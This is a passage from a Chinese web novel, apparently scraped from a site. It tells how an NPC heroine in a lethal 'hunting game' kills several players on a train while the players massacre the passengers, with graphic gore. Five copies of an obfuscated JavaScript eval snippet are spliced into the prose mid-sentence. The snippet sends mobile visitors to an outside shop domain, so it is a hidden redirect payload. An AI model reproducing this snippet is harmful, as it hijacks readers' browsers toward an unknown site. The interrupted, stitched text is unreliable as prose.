女人见林轲不搭理她,脸色瞬间变了,尖着嗓子讽刺,“现在的年轻人真是不得了,不知道是耳朵聋了还是嘴巴哑了,以为读了两天书就高人一等了!” 林轲连头都没有抬一下。 女人见一拳打在棉花上,十分没趣,对对面的两个人说,“这个小伙子长得可真俊啊!他是你儿子吗?” 林轲听女人这么说,微微抬起头,观察坐在对面的人反应。她注意到男人明显愣了一下,目光看向小男孩,似乎是在征询他的意见。 小男孩点了点头,声音稚嫩,“是,他是我爸爸。” “你俩长得真像啊,你爸是不是当过兵?气质看起来就不一样。” 男孩笑了,“他做过野战部队的特种兵,还是指挥官。” 林轲余光看向女人,女人脸上的笑明显凝滞住了。 “你们、你们在哪里下车啊?”女人脸上依旧挂着笑,突然有点磕巴。 “终点。”男人声音有些沙哑。 “哦哦,那得坐好长一段呢,好好休息吧。”女人说完,站起来爬上中铺。 火车早已经开动,车上广播详细播报列车途径的车站,都是林轲没听过的站名。广播特意提到车会经过“可可木”无人区,全程行驶5个小时。 “可可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343083|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木”无人区是迄今为止失踪人口最多的区域,网上流传一个段子“一进可可木,尸骨藏无数”。林轲只是听过,但没去过。她不明白秦若离真的一张直达的票都没抢到吗,为什么坐这种绕路的绿皮火车遭罪。 距离睡觉时间还早,大多数人都在刷手机。林轲抱着黑伞,背靠在车壁,调出游戏界面。 页面上方多出来一个红色的77.1亿,特别醒目。 77.1亿是什么? 林轲想了会儿没想出来,便直接进入NPC论坛。 论坛居然有人发帖子。帖子是用英文发的,大致意思是:我想知道有多少人已经弹出了这个页面,我们的世界真的是游戏虚拟的世界吗? 下面有一个英文回复:我不知道,我刚刚杀了自己妻子,可是我很爱她!我很迷茫……我不知道要怎么办! 林轲想现在只是刚开始,如果玩家以后降临的身份不是普通人,而是军.界或者政.界高层,她不敢想象以后这个世界会变成什么样子。 会不会几个核弹,地球就毁了。 地球毁了,像自己这样无权无势的普通人岂不是活不成了? 不过现在想这么多也没有用,只能走一步看一步,减少自己被标记的次数,先苟下去再说。 林轲退出游戏界面,掏出一瓶水拧开。她刚把水瓶送到唇边,上铺响起幼儿爆哭声。 “妈妈!妈妈!我要妈妈!”女童声音撕心裂肺。 “宝贝儿,妈妈在这里呢,在这里呢!”女人的声音显得急促又慌张。她从床上跳下来,鞋都没来得及穿,便抱起大哭的女童往车厢连接方向跑。 “妈妈!妈妈!我要妈妈!”女孩弱小的手臂无力地推着女人,她的脸颊上挂满了泪水,头发凌乱地贴在脸上。 “你不是我妈妈!你不是我妈妈!” “又做噩梦说梦话了!”男人紧接着下了床,脸上浮起一丝笑,对车里人说,“对不住大家了,打扰大家休息了。我女儿做梦总爱魇住,醒了就找妈妈,说谁都不是她妈妈,等我们去哄哄她就好了。” 男人说着,手中抓着蓝色塑料袋,跟随女人脚步匆匆离去。 对面最上铺的男人把耳机扯落,探身向下望了望,小声嘀咕,“我怎么感觉他们像人贩子?我们要不要报警?” 10. 无限猎杀 回答他的,是其他人的沉默。他撇了撇嘴,重新戴上耳机,继续刷手机,不再提此事。 林轲看向对面的男人,如果男人真的是军人,应该会报警或者有所行动。 大约过了十多分钟,那对男女抱着已经熟睡的女童回来。女童睡得很死,脸贴在男人肩膀上,肉嘟嘟的小脸在昏黄灯光下看起来毫无血色。女人跟在男人旁边,帮着男人把女童放在中铺。 “真不好意思,打扰大家休息了。”女人看着对面的身形高大的男人歉意地说。 男人低垂着头,好像睡着了,根本没有理她。 林轲偷偷观察他十多分钟,他一直这个姿势,绝对没有报警。 林轲以为自己已是冷漠至极,没想到这个包厢里的人比她还冷漠。 报个警而已,你们到底怕什么! 林轲不敢直接报警是因为一旦警察核验身份,可能会发现她身份伪造的。秦若离已经死了,她顶替秦若离身份,到底要怎么解释? 但是如果不报警,任由那两个人贩子把孩子带下车? 林轲也是这个年纪被人贩子拐走的,她现在还记得在人贩子那里经历了什么。 手中的矿泉水被她捏得轻微作响,片刻挣扎之后,她还是决定报警,只不过方法要隐秘一点。她打算偷别人手机打报警电话,这样就没人追查到她这里。 现在大家都还没有休息,不太好下手偷手机,后半夜动手比较好。 火车咣当咣当开着,林轲微微闭着眼睛休息。 打了一天工,反杀了三次玩家的她真的有些累了。意识渐渐模糊,身体越来越倾,直到靠在车壁睡着了。 “临吉车站马上要到了,有需要下车的旅客别睡过站!” 乘务员的声音叫醒了林轲,她看了下手机,快凌晨十二点——这个时间,大部分旅客都睡了,正是下手好时机。 车缓缓开动后,林轲站起身,带上自己所有物资,在车厢过道里缓慢行走,寻找合适的目标。 偷东西对于林轲而已,简直轻而易举,她被拐后被买到偷窃团伙,每天工作就是偷东西,偷东西几乎成了她的本能。 她一路观察,来到9号车厢,从一个中铺的男人身侧顺走了手机。 林轲走进卫生间,门上锁后才拿起偷来的手机,摁亮屏幕。 手机信号图标是是两个X,完全没信号。 林轲拿出自己的手机查看,也没有信号。 是无人区没信号……还是被标记了?! 林轲更倾向是无人区没信号,到底是哪个得确认下。 被标记有个特征——看不见的屏障。 林轲打算把整列车厢走一圈寻找屏障,就在她推门时,余光瞥见窗外疾驰而过的黑暗扭曲了一下。 空间扭曲——和寝室楼被标记一模一样。 难道整列火车都被标记了?! 林轲心里叫苦,万年狗屎运,舍我其谁!!! 她吐槽同时,大脑飞速运转,分析自己是第几次在火车上。 如果这是第一轮游戏,玩家对她是陌生的。这种情况下,要努力消除自己的存在感,尽量减少自己体貌特征的独特性。如果能活下来,会给下一轮隐藏自己增加机会,减少暴露风险。 如果这不是第一轮游戏,这就说明上一轮已经有NPC成功杀死了玩家,这个NPC也许是自己,也许是别人。如果是自己杀死玩家,这说明只要避免“重置记忆”这个信息差,或许可以再次杀死玩家。如果是其他NPC杀死玩家,而自己上一轮已经死了,只是因为玩家读条而复活,那这次只能祈祷幸运之神眷顾自己一下。 之前的猎杀,尤其是最后一次,虽然游戏重新读条,她没有任何记忆,但是身体是有感知的,那是一种独特的疲惫和抵触,但她现在的身体并没有这种感觉,所以她更倾向自己处于第一轮游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343084|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏中。 第一轮游戏最重要一点就是在众多乘客的火车上,掩藏自己,杀死玩家。只要玩家不知道是谁杀了他们,就算进行第二轮,他们也不会有记忆优势,自己就会减少“记忆信息差”造成的劣势。 分析完之后,她明确了目标。 第一:弱化自己装扮的特征。 第二:最好在玩家没有动手之前找出来杀掉。 林轲推开卫生间的门,把特征明显的黑伞利用能力隐藏起来,先去还手机。 她发现这两列车厢有旅行团,旅行团里的人都背着统一发的加长版黑色双肩包。她拎起地上的黑色背包,整套动作丝滑流畅。 她已经好久没有偷东西了,但是童年在偷窃团伙谋生的技能却刻在骨子里。 她保持着原来的步速,拎着黑包拐进车厢连接处的卫生间。 门上锁后,她把包里的东西都倒了出来,把自己的东西装进去。她把包里旅行社发的红色马甲套在身上,保温杯挂在身上,戴上黄色帽子,俨然成了跟团游游客。林轲穿上这身行头,将黑伞隐身握在手中,继续往前走寻找玩家。 她不知道玩家有多少人,长什么样子,但这些蠢蠢欲动的玩家绝对和普通的游客状态不同。 已经快到午夜12点,卧铺车厢的人都睡了,车厢连接处本应该空无一人,但是7、8节车厢连接处却有两个中年男人倚靠在车壁,目光一直盯着过道。 林轲尽量用帽檐遮住自己的脸,从他们身边路过。她注意到这两个中年男人右臂都绑着一条黄色的带子,十分显眼。他们脚下有一个蓝红相间的编织袋子,袋子里面东西轮廓成长条形,被其中一个男人踩在脚下。 两个人见林轲走过,警惕地瞥了她一眼。 正常卧铺车厢的旅客这个点不去上床睡觉,干站在这里干什么?这两个人明显不正常。尤其是他们胳膊上的荧黄色丝带,像是某种区分身份的标志。 11. 无限猎杀 林轲继续往前走,走到车厢连接处,发现车厢门被锁住了。正好乘务员办公室就在旁边,于是直接敲了敲门。 “什么事?”里面传来男人的声音。 “您好,能帮我开下门吗,我想去隔壁车厢。” “想去就去,自己不会开门吗!” 林轲:“可是硬座车厢和卧铺的门是锁上的,钥匙应该在你那里。” 门缓缓打开了,一个脸冒油光的中年男人走出来,紧皱着眉说了句“真麻烦”,低头摸腰间串钥匙。 他右臂也系着黄色带子,和那两个男人一模一样。 难道黄色带子是区分玩家和NPC的标志?林轲想要是这样,那可太好了,得想办法再确认下。 乘务员腰上有一串钥匙,他摘下来试了其中一把,插进去没拧动,拔出来试第二把。 “你自己试吧!”他把钥匙扔给林轲,推开门回自己办公室。 林轲接过钥匙说了句“好”。 她已经确认这个乘务员是玩家降临,一点乘务员的职业操守都没有。看来手臂绑着黄色带子的人就是玩家。他们应该是通过这个标志区分,防止彼此错杀。 这个游戏这么low吗,连玩家之间的区分都要用这种原始方式?! 不过这样也好,对自己有利就行。 为了继续验证自己的猜想,不错杀无辜,林轲打开车厢连接处的门继续往前走,寻找胳膊系这黄色带子的可疑人员。 硬座车厢连接处的人比硬卧车厢多好几倍。很多没买着座票的人把行李放在地上,后背靠着车壁呼呼大睡,腿伸到本已经狭窄过道,从这里走过像是在跳竹竿。 凌晨的车厢里混杂人呼吸混浊味道和汗臭、脚臭的味儿,熏得林轲脑瓜仁嗡嗡阵痛,她屏住呼吸观察,没发现手臂系黄色丝带的人。 终于走到车厢连接处,她刚想深吸一口稍微清新点的空气,呼吸便滞住了。 她看到两个二十多岁出头的小姑娘,分别靠在车厢连接处的两侧低声说着什么。 她们右臂系着黄色丝带。 林轲压低帽檐装作不经意经过她们,继续朝前走去,没走多远便停下来,藏在车壁后,想听听她们说什么。 她屏气凝神,屏蔽掉此起彼伏的呼噜声和火车厢之间“咣当咣当”的声,用力听她们在讲什么。 “这种车我只在古……上看过……” “是啊,而且游……真了,简直不敢相信!五感全方位还原!” “这都几点了,为什么Mboss……指令?” “再等等吧,应该快了……” “哎,我手都痒了……想试试从商城新买的……手感……” 虽然这些话被火车"咣当咣当"声音掩盖住,但林轲还是提取到了关键信息,并提炼出最重要的几点: 1、戴黄色丝带的人绝对是玩家。 2、需要Mboss发出指令,他们才可以行动。 “其实,我觉得每个车厢安排2个人不合理,毕竟卧铺比硬座人少。” “管他呢,反正我们是硬座车厢。” 这两句林轲听得真切。 林轲印象里,绿皮火车一般18节,如果按照每节2个人配置,车上应该有36个玩家。 她一个E级体能的弱鸡怎么能杀死三十多个玩家! 不过也许不用杀死所有玩家,只要找到Mboss,把这个玩家杀死,也许会解除标记。 从18节车厢,将近两千多人中找到Mboss可不容易,需要大量时间,估计她没找到,这些玩家已经动手。 不能等到Mboss发布指令才动手,要先下手为强,打乱他们的计划,这样自己胜算还能多一些。 林轲略思一下,转身往回走。她再次从两个女生身后经过,有个女生转头看她,微微眯起眼睛。 另外一个女生和她一起转头问,“你看什么呢?” 女生眉头紧皱说,“刚刚过去那个人我总觉得有些熟悉,好像在哪里见过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343085|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是个NPC而已,你从哪里见过?而且她脸都没露。” “或许是我看错了吧。”女生有些自我怀疑,她顿了顿继续说,“我们千万不要轻视这些NPC,有些NPC看似柔弱无害,其实心狠手辣,诡计多端。” 另一个女生眉毛微挑,带着一丝笑意问,“怎么,你被反杀过?” “没有……”女生挤出一丝笑容,“我就是从论坛上看到有人发帖子,提醒你一下。” “哈哈哈,那些帖子我也看了,尤其是F级NPC悬赏10万的那个,我还单独起个帖子骂那个玩家是垃圾呢!” 女生神色微怔,意味深长说,“哦……原来是你啊……你挺闲啊~” 她们说话时,林轲已经穿过呼声震天,臭气缭绕的车厢,来到乘务员办公室门前。她把黑伞从包里抽出,她觉得唐刀有点长,在狭窄空间不好发挥,要是有短一点的匕首就好了,但现在不是挑武器的时候,她能有一个防身的武器已经很不错了,至少比赤手空拳强。 她推开对面卫生间的门,打开里面的水龙头,敲了敲乘务员休息室的车门。 “谁啊?”里面再次传来起不耐烦的声音。 “你好,我刚刚去卫生间,发现卫生间里的水龙头坏了,一直在哗哗流水,怎么也关不上,你能去看看吗?” “关不上就关不上吧!”更加不耐烦声音传来。 “可是总也流水太浪费了,你还是去看一下吧。现在淡水资源很紧缺,我们国家人均淡水量储备还达到不到世界平均水平……” 林轲话还没说完,门一下子被拉开了,乘务员一脸烦躁,看到她后问,“怎么又是你!” 林轲乖巧回答,“来上厕所,你快去看看水吧。” 乘务员玩家瞪了她一眼,推开斜对面卫生间的门。他一脚踏进狭窄的卫生间,微微弯腰去拧哗哗流水的水龙头。 “这不是——” “好好的”三个字还卡在喉间,整个人骤然僵住。 12. 无限猎杀 早在乘务员玩家推开卫生间门之前,林轲已经将隐身的黑伞调整至最佳角度,刀尖对准了他的腰腹。火车上的卫生间极其狭窄,若非真要使用,没人会在检查时特意关门——只会推开门,直接检查,这给林轲绝佳偷袭机会。 玩家伸手拧开水龙头的刹那,林轲手中的黑伞已化为唐刀,直刺他腹部。唐刀要比她从小超市借的刀锋利千万倍,毫不费力穿透他的身体。 林轲想起上次杀秦若离时两刀未死的教训,一刀刺入,果断抽刀,抬刀向上砍去,劈向乘务员的头。寒光掠过脖颈,乘务员玩家的头颅掉进狭窄水池中,鲜血从池子里漫开,顺着池壁淋漓而下。他腹部的伤口汩汩涌出鲜血,漫过钢制便池,沿着内壁的弧度蜿蜒流下。 从引诱玩家到毙命,整个过程没超过三十秒。 卫生间已经鲜血横流,弥漫着浓重的血腥味。 很快,乘务员玩家的尸身连同四溅的血迹,都数化为流动的莹绿色代码,消散无踪。 【已杀死普通玩家1人】 冰冷的游戏提示音在林轲耳边响起。 林轲利用伪装能力变成乘务员的模样,从卫生间的镜子里确认容貌后,转身推开乘务室的门。 她刚锁上门,门外传来“咚咚咚”急迫敲门声。 林轲身体骤然绷紧,手中握稳唐刀,侧身贴向门边的墙壁,压低声音问道:“谁?” “是我,红尘恨。” 乘务员玩家的同伙? 他应该看到乘务员玩家下线了才过来的。 “怎么了?”林轲不紧不慢问。 “你刚才给我发信息,只发了个‘救’字是什么意思?” 只发了“救”字?难道门外的玩家不知道乘务员玩家已经下线了?还是门外玩家知道乘务员玩家下线,这么说只是骗自己开门。 林轲把隐身的唐刀一直握在手中,对准门口方向随时准备动手。 门缓缓拉出一条缝隙,门外站着身穿乘警制服的玩家。 “你怎么了?”红尘恨眯起眼睛看向林轲问。 他的手上没有武器,状态也很随意,不像是来解决自己的。难道他真不知道乘务员玩家已经下线了?林轲虽然平时不玩游戏,但是也知道游戏里玩家死了和没死应该不一样,这个游戏怎么会如此之low?! “没怎么,游戏马上就要开始了,有点紧张激动。”林轲说话时,隐身的刀尖一直对准玩家。 “有什么好激动的!”红尘恨推开门走进来,一屁股坐在休息室里的窄床上,后背靠着车厢壁,“多玩几次就好了。” 看他这样子,不像是演的。既然这样,不如从他这里套套话。 林轲:“我刚才想和你说‘救命,我想到一个好主意’。但是想想又觉得不太好,所以没有往下说。” “什么好主意?”红尘恨转头看向林柯,眼睛雪亮。 “我觉得我们被分到卧铺车厢,能杀的NPC太少了。” “哎,谁说不是呢!可这是我们随机抽的,也怨不得别人,有汤喝就不错了。” “所以……我想,标记开始时,先不要动手。让其他车厢先动手,让NPC以为我们这里是安全的,都逃到我们这里,这样我们的''猎物''不就多了吗?”林轲不紧不慢的说。 “哎呀!”红尘恨激动地一拍大腿,“你这个主意好,我怎么没想到呢。Mboss说只可以猎杀自己分配车厢里的NPC,没说不让NPC到处跑啊——跑到我们这里,不就是我们的了。” “是啊。”林轲特意顿了下,显示出几分犹豫,“不过我不确定算不算违反规则,要不……我们去问问Mboss?” “怎么问,我们又没有单独加Mboss好友,直接在房间里问不合适。而且现在猎杀还没开始,房间还是禁言状态。” “那……直接找他去问问呢?”林轲小心翼翼提出。她右手紧紧握住唐刀的刀柄,指节抵在上面的纹路——只要红尘恨神色有一丝异常,她便立刻捅过去,不给他留一点传递信息的时间。 “可是我们也不知道Mboss到底是谁,怎么直接找他?我看不用,就这样吧,一个游戏而已,主要是玩得痛快。”红尘恨挥了挥厚重的手掌,毫不在乎说。 “也是。”林轲点点头,唏嘘感叹,“Mboss还挺神秘。” “这趟列车上的NPC少说也有两千以上,能标记这么多NPC的,肯定是钻石段位的大佬。大佬嘛,搞得神秘点儿也正常。”他说着从床上站起来,“我要回自己休息室了,趁着Mboss没下达猎杀指令,抓紧休息一会儿。上个副本杀了一整个店的人,别说还真有点累。” 林轲:“你收获不小啊,店叫什么名字?” “就是一家K记快餐店。”红尘恨已经走到门边,背对着林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343086|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轲,手放在门把手上。 林轲站在他身后,悄无声息举起了唐刀。 就在红尘恨把门拉开一道小缝时,刀锋自他右脖颈处斜劈而下,一路划至左肋。削铁如泥的唐刀流畅地划过躯体,创口在喷涌的鲜血中仍保持着诡异的平整。 林轲感觉自己像是切一块豆腐,毫不费力把他劈成两半。 鲜血溅了她满身,脸都被血乎上了。但林轲并没有在意,因为血很快会数据化然后彻底消失。 “这回……你可以好好休息了。” 林轲抿了下脸颊上的血,嘴角带着一丝笑意说。 很快,红尘恨的尸体连同他身上的所有装备一并消失——两把□□、三盒弹夹、还有一把双刃匕首。尤其是那对手枪,是林轲极为需要的武器。 杀人,却不能越货! 这傻屌游戏设定! 【累计杀死普通玩家2人】 【体能临时升为E+级】 游戏提示声音在林轲耳边响起。 她的体能等级提升了! 杀玩家居然可以提升等级! 林轲内心狂喜,就连冷冰冰机械声音都感觉如此甜美。她原来想直接找出Mboss玩家杀掉,但是现在目标变了。 她要杀更多的玩家,让体能尽快升级——至少要解锁初级刀谱。 林轲自有记忆起,一直被人欺负,被领养后,更是终日活在巨大恐惧和阴影下,身体更是因为压力过大而虚弱。她的脸色总是透着营养不良的苍白,眼底泛着淡淡的清灰,看起来又丧又衰。 她的室友给她起了个很贴合的外号——林妹妹。 上大学后,林轲已经很努力锻炼体能,但是底子太薄弱,还需要去打工挣钱,身体不堪重负。最要命的是她舍不得买有营养高蛋白食品,就连酸奶每周只舍得喝三杯,这让她身体一直处于营养不良状态。 力量——是她从小渴望但却从未真正拥有的东西。现在力量居然可以量化提升,她绝不能错失这样的机会。 林轲暗下决心—— 杀光这列车里所有的玩家,让他们作为自己体能提升的血包。 她从包里翻出奶片,摁下一片含在口中,推门出去。 那两个中年男人玩家依旧站在车厢连接处,林轲假装不经意走过他们后又退回两步,抬眼看着他们,语气平常,“你们两个,票给我看一下。” 13. 无限猎杀 两个中年男人相互看了一眼,其中一个微微抬起下巴说,“这大晚上的,还验票啊。” “验票不分早晚,票拿出来给我看一下。”林轲说话时,手已经摸上后腰的刀柄。 两个男人又是相互看了一眼,没说话的男人微微摇了下头。 刚才说话的男人继续说,“我们没有票,补两张可以吧?” “可以。”林轲紧绷的脸放松下来,语调也变得温和起来,“你们到我办公室来补票吧。” 林轲微微侧身向前走,余光一直观察两个人。其中一个男人已经拾起地上袋子时,有清脆的金属撞击声。 林轲提防着他们,顺利带他们到乘务员办公室,她侧过身体推开门说,“你们先进去坐一下,我去同事那里拿补票机。” 门很窄,两个男人只能先后进入办公室,身影正好重叠在一起。 林轲动了。 第一刀贯穿后人心窝,抽刀的瞬间第二刀斜劈向前方那人的脖颈。 有那么一瞬间,两人还保持着站立的姿势,仿佛什么都没有发生过。随后两个人伴随着脖颈喷溅的血液,向房里倒去。 林轲抬脚踹在最后一具尸体的后背,借力跟进房间,反手关上门。 她蹲下,打开编织袋——两把步枪,泛着冷光,散发着淡淡的润滑油气味,正在逐步数字化。 林轲有些后悔,下次应该把玩家打晕而不是打死,要不然根本没办法用他们的武器。 与此同时,玩家空间—— 深蓝色的数据海洋中,一只巨大的章鱼缓缓睁开眼。它身上流动的莹绿色代码正在褪去,露出乌黑发亮的实体。八条触须缠绕着那列绿皮火车,吸盘缝隙里透出K3323的车牌。 章鱼体内,几十个蓝色数码人形悬浮着,头上浮动各自的游戏ID。其中一人头顶浮着金色的Mboss标识,声音机械: “已死亡四个玩家,集中在8-10号车厢。应该是黄色肩带暴露了身份。” 四目蜘蛛的蓝色人形剧烈抖动:【惊愕瞪大眼.jpg】什么?这么快就死了四个?这个NPC是什么来路,怎么做到的?大佬,你可要保护我们啊! 大乔:你要是早给我们放开玩家之前的可视权限,我们也不会用黄丝带做区分!这么快暴露,还不是因为你! Mboss:你在命令我?不想玩可以直接退出。 大乔:这又不是我一个人的诉求,是大家的!你们也说说话! 四目蜘蛛:其实……我觉得玩家之间不公开身份挺刺激,并没有觉得哪里不好呀…… 大乔正在输入中—— 【群主已禁言】 群空间上方,猩红色的倒计时数字开始跳动: 00:03 00:02 00:01 00:00 【猎杀正式开始】 * “砰砰砰!!!” “哒哒哒……” 车里几乎同时响起了枪声。 尖叫声如潮水涌入,将整列车卷入深渊。 有些尚在睡梦中的乘客被尖叫声喊醒,刚睁开眼还没搞清楚发生什么事,就已经被机关枪扫过胸口,再次震惊地闭上眼睛。 各个方向枪声交织在一起,根本分不清从哪里传来的。 惊恐中的旅客像是四处乱窜的蚂蚁,在狭窄的过道里互相推搡,有的人还没被子弹射到,就已经争先恐后逃跑的人踩在脚下再也站不起来。 林轲本来想继续找玩家,却被推推搡搡的人群带着,挤在靠近车门的位置。她把黑伞横在胸前挡着前面的挤压,整个后背抵在车窗上,腰骨被门上的把手硌得像是刺入般疼。 “嗒嗒嗒”的枪声越来越密,每一声子弹几乎都会回传穿透人体血肉的声音,原本混浊汗臭味被新鲜的血腥味和浓烈的火药味覆盖。 不断涌向车厢连接处的人少了,变成了一具具被子弹穿透、冒着鲜红热血的尸体叠在过道。 离林轲最近的是头花已经花白的老太太,她紧紧抱住怀里瑟瑟发抖的孩子。她旁边倒着上半身卡在过道里的老爷子,他双手保持着用力推着的姿势。老爷子口中不停地冒出鲜血,布满血丝的眼睛直勾勾看着老太太身后林轲,还没咽气。 林轲与老爷子对视一瞬,垂下眼睛。 “救……救……”老爷子满是鲜血的唇动了动,沙哑颤抖的声音飘散在震耳欲聋的枪声中。 林轲听他这么说,这才意识到自己还保持着乘警玩家的模样,在他人眼里,她是警察。 老太太听老头这么说,扭头去看林轲,像是抓住了救命稻草,“啊啊啊”地冲着林轲叫,其他人发现林轲都充满期待地看着她。 林轲垂下眼睛,不敢与老太太对视。 救。 怎么救? 她自己都不知道下一颗子弹会从哪里来。 “哇——”老太太怀里的孩子突然爆发出尖锐的哭声,那声音穿透枪声,穿透血腥,直直刺进林轲的耳膜。 林轲握着黑伞的指尖微微发颤,从角落里挤出来对老太太说,“抱着孩子藏好。” 震耳欲聋的子弹声突然停了,林轲趁这个间隙探出头望向车厢里面。 刚刚她路过的那两个女生玩家背对着背,手上端着冲锋枪,其中一个人的枪口对准中年男人的额头。 “放过我们吧,我把钱都给你!” “砰——” 男人还没等从腰间掏出钱包,脑袋就已经被子弹削去一半。他旁边的阿姨还没来得及尖叫,下一秒也倒在男人身上,胸口冒出鲜红的血。 她们手上都有冲锋枪,而林轲只有一把冷兵器,直接冲突绝对是自寻死路。 正当林轲愁眉不展时,其中一个女生放下枪,低头换弹夹,另外一个女生突然转过身,调转枪头,对着她脑袋上直接开了一枪。 “砰——” 血浆四溅。 被射中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343087|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女生一半脸被步枪削去,只剩下血肉模糊半个脑袋,重重摔倒在地,另一只眼睛不甘心地盯着前方——死不瞑目。 “哼,让你嘲讽我。”女生踩在还在流血的尸体脸上冷笑,“怎么样,背后吃枪子的滋味不好受吧?” “老子也让你尝尝这滋味!” “呸!”女生朝尸体吐了一口吐沫。 看到这一幕,林轲一时错愕:玩家之间可以自相残杀吗?是为了武器,还是为了获得对方能力?或者是为了独占猎杀NPC的经验值? 最重要的——被杀死女生的枪并没有数据化消失!凶手女生也没有去捡地上的武器,而是继续举起冲锋枪扫射,一边扫射一边往前走。 经过刚才那轮扫射,那些站着的,想要逃跑乘客的尸体已经如杂草,横七竖八倒在过道和车座上。还活着的人,有些已经傻了,瑟缩团在座位上,或者钻到座位下。 女生给还没有被扫射而死的人补枪,让他们彻底死亡。 也就是在这个间隙,那些躲在车厢连接处,还没有被吓傻的人,手脚并用往另一个车厢方向逃去。 林轲没有动,继续躲着,死死盯着地上那把步枪和还没有上膛的弹夹,不自觉咽了口口水,攥着黑伞柄的手指节因紧绷而发白。 “陈泽,是你吗?” 不知何时,后背突然窜出一个人,拍了下林轲的肩膀。林轲立刻警觉起来,握紧手中的黑伞向后看去。 “真的是你。”一个高大的,同样穿着乘警的制服男人跨过尸体蹲在她旁边。 男人身体贴着车厢璧作掩护,微微探头观察还在点射的女生玩家说,“不能让她再这样杀下去,我们必须阻止她。” 他是真的乘警?他和林轲变成的乘警认识? 林轲十分心虚,压着嗓子开口,“那里有一把枪,可以把枪捡过来。”林轲不知道陈泽是什么声音,这是她能模仿最像男人的声音了,希望在这样高压紧张环境下不要被怀疑。 “我去。” 男人说着弯着腰,一步蹿了出去,躲在长座椅后面,悄然爬向那把枪。 车厢里持枪的女生已经挨个补枪到车厢中部位置,一副厌厌的无精打采模样。 “太无聊了!”她皱着眉对着惊恐无助的NPC胸口开了一枪,“怎么没一个人反抗啊!”她根本没发现,身后有个男人正在悄无声息靠近自己。 男人每次都是看准隐蔽的位置,在女生开枪时踩过层叠尸体迅速变换位置,越来越接近枪。 距离枪位置还有三排 两排 越来越近了! 躲在车厢链接处的林轲紧张得手心冒出层层冷汗,连呼吸都不敢用力,她紧紧盯着女生的动作,生怕她一个转身发现男人。 “砰砰砰——”连续凶猛的枪声再次响彻车厢。 女生突然转身,对着男人刚刚藏好的位置连续开枪。 明明还有一排的距离,男人就会拿到死亡玩家掉落的枪! 14. 无限猎杀 男人藏身的座位被打得棉絮乱飞,就在这时,林轲抄起身边的灭火器,拔掉保险销,对着车厢里按下压把。 “呲——” 白色干粉喷涌而出,瞬间笼罩半个车厢。 “哒哒哒——” 女生继续盲目扫射,子弹擦着男人的头顶飞过。 枪声一乱,男人立刻抓住机会,贴着地板又往前爬了一个座位,捡起地上的枪后猛然起身,用枪身朝着女生抡去。 “啊——” 女生发出一声惨叫,仰头倒在旁边座位上。 白色干粉消散,林轲确认男人得手才从车厢壁后出来,走向男人。她一时太过激动,并没有注意脚下,直到网球鞋底传来软绵绵的触感。 她的脚正好落在男孩肚子上,男孩身体微弓,吐出一口血,惨白的唇瓣微微颤抖,想说又痛得说不出来,只能半眯着眼睛绝望看向她。 虽然林轲杀了好几个人,但看到这一幕还是惊得她猛然抬起脚,双手撑着座位靠背,把身体悬空起来。 男孩眼睛只睁开一条缝隙,嘴角的血顺着脸颊流到脖子上,头彻底歪下去死了。 “陈泽,快过来!我制服她了!”男人把女生摁在层叠的尸体上,他脚下踩着的老人,身体仍在起伏。 林轲看向男人迟疑两秒,尽量避开尸体,双手撑在座位靠背撑起身体往前走。 